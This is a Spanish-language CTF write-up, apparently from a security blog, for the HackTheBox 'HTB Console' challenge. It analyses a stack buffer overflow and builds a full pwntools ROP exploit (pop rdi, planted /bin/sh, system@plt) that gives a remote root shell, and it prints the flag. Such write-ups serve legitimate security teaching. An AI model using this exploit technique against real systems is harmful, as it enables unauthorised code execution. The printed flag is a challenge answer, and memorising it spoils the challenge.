xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

HTB Console



Enumeración


El binario entregado de primeras no nos deja claro el uso que este tiene o que hace

❯ ./hackthebox-console
Welcome HTB Console Version 0.1 Beta.  
>> help
Unrecognized command.
>>

Podemos analizarlo con ida para asi poder ver el pseudocodigo de main en c

La función main es bastante sencilla, declara un buffer de 16 bytes para una string que recibe con fgets y al recibirla se la pasa a la funcion console como argumento

void __fastcall __noreturn main(__int64 param_1, char **param_2, char **param_3)  
{
  char string[16]; // [rsp+0h] [rbp-10h] BYREF

  setup(param_1, param_2, param_3);
  puts("Welcome HTB Console Version 0.1 Beta.");
  while ( true )
  {
    printf(">> ");
    fgets(string, 16, stdin);
    console(string);
    memset(string, 0, sizeof(string));
  }
}

La funcion console maneja los posibles diferentes comandos que espera recibir

int __fastcall console(const char *string)
{
  char flag[16]; // [rsp+10h] [rbp-10h] BYREF

  if ( !strcmp(string, "id\n") )
    return puts("guest(1337) guest(1337) HTB(31337)");  
  if ( !strcmp(string, "dir\n") )
    return puts("/home/hackthebox");
  if ( !strcmp(string, "flag\n") )
  {
    printf("Enter flag: ");
    fgets(flag, 48, stdin);
    return puts("Whoops, wrong flag!");
  }
  else if ( !strcmp(string, "hof\n") )
  {
    puts("Register yourself for HTB Hall of Fame!");
    printf("Enter your name: ");
    fgets(name, 10, stdin);
    return puts("See you on HoF soon! :)");
  }
  else if ( !strcmp(string, "ls\n") )
  {
    puts("- Boxes");
    puts("- Challenges");
    puts("- Endgames");
    puts("- Fortress");
    return puts("- Battlegrounds");
  }
  else if ( !strcmp(string, "date\n") )
  {
    return system("date");
  }
  else
  {
    return puts("Unrecognized command.");
  }
}

Hay una vulnerabilidad en el comando flag y viene de usar con un buffer tan limitado de 16 bytes la funcion fgets, ya que puede resultar en un buffer overflow

char flag[16];

if ( !strcmp(string, "flag\n") )
{
  printf("Enter flag: ");
  fgets(flag, 48, stdin);
  return puts("Whoops, wrong flag!");  
}

Mirando las protecciones del binario nos encontramos con NX que nos impedira poder ejecutar shellcode en la pila por lo que es probable que necesitemos de ROP

❯ checksec htb-console
[*] '/home/kali/hackthebox-console'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)  


Explotación


Para iniciar abrimos le binario con gdb y creamos un patron de 50 caracteres especiales para buscar el offset, despues corremos el programa y lo enviamos

❯ gdb -q htb-console
Reading symbols from htb-console...
(No debugging symbols found in htb-console)
pwndbg> cyclic 50
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
pwndbg> run
Starting program: /home/kali/hackthebox-console
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  
Welcome HTB Console Version 0.1 Beta.
>> flag
Enter flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
Whoops, wrong flag!

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401396 in ?? ()
pwndbg>

Una vez corrompe podemos buscar el offset usando cyclic -l que es la cantidad de bytes necesarios antes de sobreescribir la siguiente instruccion de retorno

pwndbg> x/gx $rsp
0x7fffffffe558:	0x6161616161616164
pwndbg> cyclic -l 0x6161616161616164
Finding cyclic pattern of 8 bytes: b'daaaaaaa' (hex: 0x6461616161616161)  
Found at offset 24
pwndbg>

Sabemos que el NX esta habilitado por lo que tendremos que usar ROP, iniciamos buscando la direccion de system para poder usarla y asi ejecutar comandos

pwndbg> info functions system
All functions matching regular expression "system@plt":  

Non-debugging symbols:
0x0000000000401040  system@plt
pwndbg>

Nuestra idea sera ejecutar una /bin/sh pero para pasarsela como argumento a system tenemos que guardarla en el registro RDI para ello usaremos un pop rdi

❯ ropper --file htb-console --search "pop rdi; ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: htb-console
0x0000000000401473: pop rdi; ret;

Sin embargo la string /bin/sh no existe en el binario, aunque algo interesante es el comando hof que recibe una string y es probable que guarde en memoria

if ( !strcmp(string, "hof\n") )
{
  puts("Register yourself for HTB Hall of Fame!");
  printf("Enter your name: ");
  fgets(name, 10, stdin);
  return puts("See you on HoF soon! :)");

Corremos el programa y usamos el comando hof enviando como nombre /bin/sh, si despues de eso buscamos la string aparece en la direccion 0x4040b0 del binario

pwndbg> run
Starting program: /home/kali/hackthebox-console
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome HTB Console Version 0.1 Beta.
>> hof
Register yourself for HTB Hall of Fame!
Enter your name: /bin/sh
See you on HoF soon! :)
>> ^C
Program received signal SIGINT, Interrupt.
pwndbg> search /bin/sh
Searching for value: '/bin/sh'
htb-console     0x4040b0 '/bin/sh\n'
pwndbg>

El payload para el explotarlo enviara basura hasta antes de la siguiente instruccion de retorno, guardara /bin/sh como argumento en rdi que ejecutara con system

payload  = b""
payload += junk
payload += pop_rdi + bin_sh
payload += system

El exploit usara el comando hof para guardar la cadena /bin/sh en 0x4040b0 y despues enviara el payload para el buffer overflow que nos devolvera una shell

shell.sendlineafter(b">> ", b"hof")
shell.sendlineafter(b"name: ", b"/bin/sh\x00")

shell.sendlineafter(b">> ", b"flag")
shell.sendlineafter(b"flag: ", payload)

El exploit final para explotarlo quedaria de esta forma, este espera un argumento que es el host y el puerto separados por un : como lo otorga htb

#!/usr/bin/python3
from pwn import remote, p64, log, sys

if len(sys.argv) < 2:
    log.failure(f"Uso: python3 {sys.argv[0]} <host:port>")  
    sys.exit(1)

host, port = sys.argv[1].split(":")
shell = remote(host, port)

offset = 24
junk = b"A" * offset

pop_rdi = p64(0x401473)
system = p64(0x401040)
bin_sh = p64(0x4040b0)

payload  = b""
payload += junk
payload += pop_rdi + bin_sh
payload += system

shell.sendlineafter(b">> ", b"hof")
shell.sendlineafter(b"name: ", b"/bin/sh\x00")

shell.sendlineafter(b">> ", b"flag")
shell.sendlineafter(b"flag: ", payload)

shell.recv()
shell.interactive()

Al ejecutar el exploit remoto conseguimos una shell como root donde leemos la flag

❯ python3 exploit.py 206.189.28.151:30178
[+] Opening connection to 206.189.28.151 on port 30178: Done  
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
HTB{fl@g_a$_a_s3rv1c3?}
$